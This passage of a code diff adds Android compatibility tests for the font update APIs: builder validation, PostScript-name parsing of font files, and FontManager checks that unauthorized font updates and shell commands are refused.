+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.ParcelFileDescriptor;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class FontFamilyUpdateRequestTest {
+
+    @Test
+    public void font() {
+        String postScriptName = "Test";
+        FontStyle style = new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT);
+        List<FontVariationAxis> axes = Arrays.asList(
+                new FontVariationAxis("wght", 100f),
+                new FontVariationAxis("wdth", 100f));
+        FontFamilyUpdateRequest.Font font = new FontFamilyUpdateRequest.Font.Builder(
+                postScriptName, style).setAxes(axes).setIndex(5).build();
+        assertThat(font.getPostScriptName()).isEqualTo(postScriptName);
+        assertThat(font.getStyle()).isEqualTo(style);
+        assertThat(font.getAxes()).containsExactlyElementsIn(axes).inOrder();
+        assertThat(font.getIndex()).isEqualTo(5);
+
+        // Invalid parameters
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder(null, style).setAxes(axes));
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder("", style).setAxes(axes));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder(postScriptName, null)
+                        .setAxes(axes));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder(postScriptName, style)
+                        .setAxes(null));
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder(postScriptName, style)
+                        .setAxes(Collections.singletonList(null)));
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.Font.Builder(postScriptName, style).setIndex(-1));
+
+    }
+
+    @Test
+    public void fontFamily() {
+        String name = "test";
+        FontFamilyUpdateRequest.Font font1 = new FontFamilyUpdateRequest.Font.Builder("Test",
+                new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT)).build();
+        FontFamilyUpdateRequest.Font font2 = new FontFamilyUpdateRequest.Font.Builder("Test",
+                new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_ITALIC)).build();
+        FontFamilyUpdateRequest.FontFamily fontFamily =
+                new FontFamilyUpdateRequest.FontFamily.Builder(name,
+                        Collections.singletonList(font1)).addFont(font2).build();
+        assertThat(fontFamily.getName()).isEqualTo(name);
+        assertThat(fontFamily.getFonts()).containsExactly(font1, font2).inOrder();
+
+        // Invalid parameters
+        List<FontFamilyUpdateRequest.Font> fonts = Arrays.asList(font1, font2);
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily.Builder(null, fonts).build());
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily.Builder("", fonts).build());
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily.Builder(name, null).build());
+        assertThrows(IllegalArgumentException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily.Builder(name,
+                        Collections.emptyList()).build());
+        assertThrows(NullPointerException.class, () ->
+                new FontFamilyUpdateRequest.FontFamily.Builder(name,
+                        Collections.singletonList(null)).build());
+    }
+
+    @Test
+    public void fontFamilyUpdateRequest() throws Exception {
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] signature = new byte[256];
+        FontFileUpdateRequest fontFileUpdateRequest = new FontFileUpdateRequest(pfd, signature);
+
+        List<FontFamilyUpdateRequest.Font> fonts = Arrays.asList(
+                new FontFamilyUpdateRequest.Font.Builder("Roboto-Regular",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT)).build(),
+                new FontFamilyUpdateRequest.Font.Builder("Roboto-Regular",
+                        new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_ITALIC)).build());
+        FontFamilyUpdateRequest.FontFamily fontFamily1 =
+                new FontFamilyUpdateRequest.FontFamily.Builder("test-roboto1", fonts).build();
+        FontFamilyUpdateRequest.FontFamily fontFamily2 =
+                new FontFamilyUpdateRequest.FontFamily.Builder("test-roboto2", fonts).build();
+
+        FontFamilyUpdateRequest request = new FontFamilyUpdateRequest.Builder()
+                .addFontFileUpdateRequest(fontFileUpdateRequest)
+                .addFontFamily(fontFamily1)
+                .addFontFamily(fontFamily2)
+                .build();
+        assertThat(request.getFontFileUpdateRequests())
+                .containsExactly(fontFileUpdateRequest);
+        assertThat(request.getFontFamilies()).containsExactly(fontFamily1, fontFamily2).inOrder();
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java b/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java
new file mode 100644
index 0000000..acb0c76
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFileTestUtil.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.nio.charset.StandardCharsets;
+
+public class FontFileTestUtil {
+    private static final int SFNT_VERSION_1 = 0x00010000;
+    private static final int SFNT_VERSION_OTTO = 0x4F54544F;
+    private static final int TTC_TAG = 0x74746366;
+    private static final int NAME_TAG = 0x6E616D65;
+
+    public static String getPostScriptName(File file) throws IOException {
+        try (FileInputStream fis = new FileInputStream(file)) {
+            final FileChannel fc = fis.getChannel();
+            long size = fc.size();
+            ByteBuffer buffer = fc.map(FileChannel.MapMode.READ_ONLY, 0, size)
+                    .order(ByteOrder.BIG_ENDIAN);
+
+            int magicNumber = buffer.getInt(0);
+
+            int fontOffset = 0;
+            if (magicNumber == TTC_TAG) {
+                fontOffset = buffer.getInt(12);  // 0th offset
+                magicNumber = buffer.getInt(fontOffset);
+                if (magicNumber != SFNT_VERSION_1 && magicNumber != SFNT_VERSION_OTTO) {
+                    throw new IOException("Unknown magic number at 0th font: #" + magicNumber);
+                }
+            } else if (magicNumber != SFNT_VERSION_1 && magicNumber != SFNT_VERSION_OTTO) {
+                throw new IOException("Unknown magic number: #" + magicNumber);
+            }
+
+            int numTables = buffer.getShort(fontOffset + 4);  // offset to number of table
+            int nameTableOffset = 0;
+            for (int i = 0; i < numTables; ++i) {
+                int tableEntryOffset = fontOffset + 12 + i * 16;
+                int tableTag = buffer.getInt(tableEntryOffset);
+                if (tableTag == NAME_TAG) {
+                    nameTableOffset = buffer.getInt(tableEntryOffset + 8);
+                    break;
+                }
+            }
+
+            if (nameTableOffset == 0) {
+                throw new IOException("name table not found.");
+            }
+
+            int nameTableCount = buffer.getShort(nameTableOffset + 2);
+            int storageOffset = buffer.getShort(nameTableOffset + 4);
+
+            for (int i = 0; i < nameTableCount; ++i) {
+                int platformID = buffer.getShort(nameTableOffset + 6 + i * 12);
+                int encodingID = buffer.getShort(nameTableOffset + 6 + i * 12 + 2);
+                int languageID = buffer.getShort(nameTableOffset + 6 + i * 12 + 4);
+                int nameID = buffer.getShort(nameTableOffset + 6 + i * 12 + 6);
+                int length = buffer.getShort(nameTableOffset + 6 + i * 12 + 8);
+                int stringOffset = buffer.getShort(nameTableOffset + 6 + i * 12 + 10);
+
+                if (nameID == 6 && platformID == 3 && encodingID == 1 && languageID == 1033) {
+                    byte[] name = new byte[length];
+                    ByteBuffer slice = buffer.slice();
+                    slice.position(nameTableOffset + storageOffset + stringOffset);
+                    slice.get(name);
+                    // encoded in UTF-16BE for platform ID = 3
+                    return new String(name, StandardCharsets.UTF_16BE);
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java
new file mode 100644
index 0000000..38bda20
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontFileUpdateRequestTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.os.ParcelFileDescriptor;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.Random;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class FontFileUpdateRequestTest {
+
+    @Test
+    public void construct() throws Exception {
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] signature = new byte[256];
+        new Random(0).nextBytes(signature);
+
+        FontFileUpdateRequest request = new FontFileUpdateRequest(pfd, signature);
+        assertThat(request.getParcelFileDescriptor()).isEqualTo(pfd);
+        assertThat(request.getSignature()).isEqualTo(signature);
+
+        assertThrows(NullPointerException.class, () -> new FontFileUpdateRequest(null, signature));
+        assertThrows(NullPointerException.class, () -> new FontFileUpdateRequest(pfd, null));
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
new file mode 100644
index 0000000..dd9576f
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
@@ -0,0 +1,273 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static android.graphics.fonts.FontStyle.FONT_SLANT_UPRIGHT;
+import static android.graphics.fonts.FontStyle.FONT_WEIGHT_NORMAL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.os.ParcelFileDescriptor;
+import android.text.FontConfig;
+import android.text.TextUtils;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class FontManagerTest {
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    private HashSet<String> getFallbackNameSet(FontConfig config) {
+        HashSet<String> fallbackNames = new HashSet<>();
+        List<FontConfig.FontFamily> families = config.getFontFamilies();
+        assertThat(families).isNotEmpty();
+        for (FontConfig.FontFamily family : families) {
+            if (family.getName() != null) {
+                fallbackNames.add(family.getName());
+            }
+        }
+        return fallbackNames;
+    }
+
+    private FontConfig getFontConfig() {
+        UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+
+        ui.adoptShellPermissionIdentity(Manifest.permission.UPDATE_FONTS);
+        try {
+            FontManager fm = getContext().getSystemService(FontManager.class);
+            assertThat(fm).isNotNull();
+
+            return fm.getFontConfig();
+        } finally {
+            ui.dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void fontManager_getFontConfig_checkFamilies() {
+        FontConfig config = getFontConfig();
+        // To expect name availability, collect all fallback names.
+        Set<String> fallbackNames = getFallbackNameSet(config);
+
+        List<FontConfig.FontFamily> families = config.getFontFamilies();
+        assertThat(families).isNotEmpty();
+
+        for (FontConfig.FontFamily family : families) {
+            assertThat(family.getFontList()).isNotEmpty();
+
+            if (family.getName() != null) {
+                assertThat(family.getName()).isNotEmpty();
+            }
+
+            assertThat(family.getLocaleList()).isNotNull();
+            assertThat(family.getVariant()).isAtLeast(0);
+            assertThat(family.getVariant()).isAtMost(2);
+
+            List<FontConfig.Font> fonts = family.getFontList();
+            for (FontConfig.Font font : fonts) {
+                // Provided font files must be readable.
+                assertThat(font.getFile().canRead()).isTrue();
+
+                assertThat(font.getTtcIndex()).isAtLeast(0);
+                assertThat(font.getFontVariationSettings()).isNotNull();
+                assertThat(font.getStyle()).isNotNull();
+                if (font.getFontFamilyName() != null) {
+                    assertThat(font.getFontFamilyName()).isIn(fallbackNames);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void fontManager_getFontConfig_checkAlias() {
+        FontConfig config = getFontConfig();
+        assertThat(config).isNotNull();
+        // To expect name availability, collect all fallback names.
+        Set<String> fallbackNames = getFallbackNameSet(config);
+
+        List<FontConfig.Alias> aliases = config.getAliases();
+        assertThat(aliases).isNotEmpty();
+        for (FontConfig.Alias alias : aliases) {
+            assertThat(alias.getName()).isNotEmpty();
+            assertThat(alias.getOriginal()).isNotEmpty();
+            assertThat(alias.getWeight()).isAtLeast(0);
+            assertThat(alias.getWeight()).isAtMost(1000);
+
+            // The alias must be in the existing fallback names
+            assertThat(alias.getOriginal()).isIn(fallbackNames);
+        }
+    }
+
+    private List<String> readAll(InputStream is) throws IOException {
+        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+        ArrayList<String> out = new ArrayList<>();
+        String line = "";
+        while ((line = reader.readLine()) != null) {
+            String trimmed = line.trim();
+            if (!TextUtils.isEmpty(trimmed)) {
+                out.add(trimmed);
+            }
+        }
+        return out;
+    }
+
+    private void assertSecurityException(String command) throws Exception {
+        Process proc = Runtime.getRuntime().exec(new String[] { "cmd", "font", command });
+
+        // The shell command must not success.
+        assertThat(proc.waitFor()).isNotEqualTo(0);
+
+        // In case of calling from unauthorized UID, must not output anything.
+        assertThat(readAll(proc.getInputStream())).isEmpty();
+
+        // Any shell command is not allowed. Output error message and exit immediately.
+        List<String> errors = readAll(proc.getErrorStream());
+        assertThat(errors).isNotEmpty();
+        assertThat(errors.get(0)).isEqualTo("Only shell or root user can execute font command.");
+    }
+
+    private static void updateFontFile(FontManager fm, FontFileUpdateRequest ffur,
+            int baseVersion) {
+        fm.updateFontFamily(
+                new FontFamilyUpdateRequest.Builder().addFontFileUpdateRequest(ffur).build(),
+                baseVersion);
+    }
+
+    @Test
+    public void fontManager_shellCommandPermissionTest() throws Exception {
+        assertSecurityException("");
+        assertSecurityException("update");
+        assertSecurityException("clear");
+        assertSecurityException("status");
+        assertSecurityException("random_string");
+    }
+
+    @Test
+    public void fontManager_updateFontFile_negativeBaseVersion() throws Exception {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+
+        try {
+            updateFontFile(fm, new FontFileUpdateRequest(pfd, new byte[256]), -1);
+            fail("IllegalArgumentException is expected.");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void fontManager_updateFontFile_permissionEnforce() throws Exception {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        // Roboto-Regular.ttf is always available.
+        File robotoFile = new File("/system/fonts/Roboto-Regular.ttf");
+        ParcelFileDescriptor pfd = ParcelFileDescriptor.open(robotoFile,
+                ParcelFileDescriptor.MODE_READ_ONLY);
+        byte[] randomSignature = new byte[256];
+
+        try {
+            updateFontFile(fm, new FontFileUpdateRequest(pfd, randomSignature),
+                    fm.getFontConfig().getConfigVersion());
+            fail("SecurityException is expected.");
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void fontManager_updateFontFamily_negativeBaseVersion() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        try {
+            fm.updateFontFamily(new FontFamilyUpdateRequest.Builder()
+                    .addFontFamily(new FontFamilyUpdateRequest.FontFamily.Builder("test",
+                            Arrays.asList(new FontFamilyUpdateRequest.Font.Builder(
+                                    "Roboto-Regular",
+                                    new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT)).build())
+                    ).build())
+                    .build(), -1);
+            fail("IllegalArgumentException is expected.");
+        } catch (IllegalArgumentException e) {
+            // pass
+        }
+    }
+
+
+    @Test
+    public void fontManager_updateFontFamily_permissionEnforce() {
+        FontManager fm = getContext().getSystemService(FontManager.class);
+        assertThat(fm).isNotNull();
+
+        try {
+            fm.updateFontFamily(new FontFamilyUpdateRequest.Builder()
+                    .addFontFamily(new FontFamilyUpdateRequest.FontFamily.Builder("test",
+                            Arrays.asList(new FontFamilyUpdateRequest.Font.Builder(
+                                    "Roboto-Regular",
+                                    new FontStyle(FONT_WEIGHT_NORMAL, FONT_SLANT_UPRIGHT))
+                            .build())).build())
+                    .build(), fm.getFontConfig().getConfigVersion());
+            fail("SecurityException is expected.");
+        } catch (SecurityException e) {
+            // pass
+        }
+    }
+
+    @Test
+    public void fontManager_PostScriptName() throws IOException {
+        FontConfig fontConfig = getFontConfig();
+        for (FontConfig.FontFamily family : fontConfig.getFontFamilies()) {
+            for (FontConfig.Font font : family.getFontList()) {
+                String psNameInFile = FontFileTestUtil.getPostScriptName(font.getFile());
+                assertThat(font.getPostScriptName()).isEqualTo(psNameInFile);
+            }
+        }
+    }
+
+    // TODO: Add more tests once we sign test fonts.
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
index 951cea6..412cc1f 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontTest.java
@@ -16,8 +16,11 @@
 
 package android.graphics.fonts;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
@@ -26,7 +29,12 @@
 import android.content.res.AssetManager;
 import android.content.res.Resources;
 import android.content.res.Resources.NotFoundException;
+import android.graphics.Paint;
+import android.graphics.RectF;
+import android.graphics.Typeface;
 import android.graphics.cts.R;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
 import android.os.ParcelFileDescriptor;
 import android.util.Log;
 import android.util.Pair;
@@ -122,6 +130,24 @@
         }
     }
 
+    private void assertAxesEquals(String msg, FontVariationAxis[] left, FontVariationAxis[] right) {
+        if (left == right) {
+            return;
+        }
+
+        if (left == null) {
+            assertWithMessage(msg).that(right).isEmpty();
+        } else if (right == null) {
+            assertWithMessage(msg).that(left).isEmpty();
+        } else {
+            assertWithMessage(msg).that(left).isEqualTo(right);
+        }
+    }
+
+    private void assertNullOrEmpty(String msg, FontVariationAxis[] actual) {
+        assertWithMessage(msg).that(actual == null || actual.length == 0).isTrue();
+    }
+
     @Test
     public void testBuilder_buffer() throws IOException {
         AssetManager am = InstrumentationRegistry.getTargetContext().getAssets();
@@ -137,7 +163,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -159,7 +185,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, ttcIndex, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -182,7 +208,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertEquals(path, axes, font.getAxes());
+            assertAxesEquals(path, axes, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -204,7 +230,7 @@
             assertEquals(path, customWeight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -220,7 +246,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -255,7 +281,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -282,7 +308,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, ttcIndex, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -310,7 +336,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertEquals(path, axes, font.getAxes());
+                assertAxesEquals(path, axes, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -337,7 +363,7 @@
                 assertEquals(path, customWeight, font.getStyle().getWeight());
                 assertEquals(path, slant, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -357,7 +383,7 @@
                 assertEquals(path, weight, font.getStyle().getWeight());
                 assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                 assertEquals(path, 0, font.getTtcIndex());
-                assertNull(path, font.getAxes());
+                assertNullOrEmpty(path, font.getAxes());
                 assertNotNull(font.getBuffer());
                 assertNotNull(font.getFile());
             } finally {
@@ -397,7 +423,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -427,7 +453,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, ttcIndex, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -459,7 +485,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertEquals(path, axes, font.getAxes());
+                    assertAxesEquals(path, axes, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -489,7 +515,7 @@
                     assertEquals(path, customWeight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -514,7 +540,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -545,7 +571,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -578,7 +604,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, ttcIndex, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -612,7 +638,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertEquals(path, axes, font.getAxes());
+                    assertAxesEquals(path, axes, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -645,7 +671,7 @@
                     assertEquals(path, customWeight, font.getStyle().getWeight());
                     assertEquals(path, slant, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -671,7 +697,7 @@
                     assertEquals(path, weight, font.getStyle().getWeight());
                     assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
                     assertEquals(path, 0, font.getTtcIndex());
-                    assertNull(path, font.getAxes());
+                    assertNullOrEmpty(path, font.getAxes());
                     assertNotNull(font.getBuffer());
                     assertNull(font.getFile());
                 }
@@ -736,7 +762,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -756,7 +782,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, ttcIndex, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -777,7 +803,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertEquals(path, axes, font.getAxes());
+            assertAxesEquals(path, axes, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -797,7 +823,7 @@
             assertEquals(path, customWeight, font.getStyle().getWeight());
             assertEquals(path, slant, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -810,7 +836,7 @@
             assertEquals(path, weight, font.getStyle().getWeight());
             assertEquals(path, FontStyle.FONT_SLANT_ITALIC, font.getStyle().getSlant());
             assertEquals(path, 0, font.getTtcIndex());
-            assertNull(path, font.getAxes());
+            assertNullOrEmpty(path, font.getAxes());
             assertNotNull(font.getBuffer());
             assertNull(font.getFile());
         }
@@ -841,7 +867,7 @@
             assertEquals("ResId=#" + resId, weight, font.getStyle().getWeight());
             assertEquals("ResId=#" + resId, slant, font.getStyle().getSlant());
             assertEquals("ResId=#" + resId, 0, font.getTtcIndex());
-            assertNull("ResId=#" + resId, font.getAxes());
+            assertNullOrEmpty("ResId=#" + resId, font.getAxes());
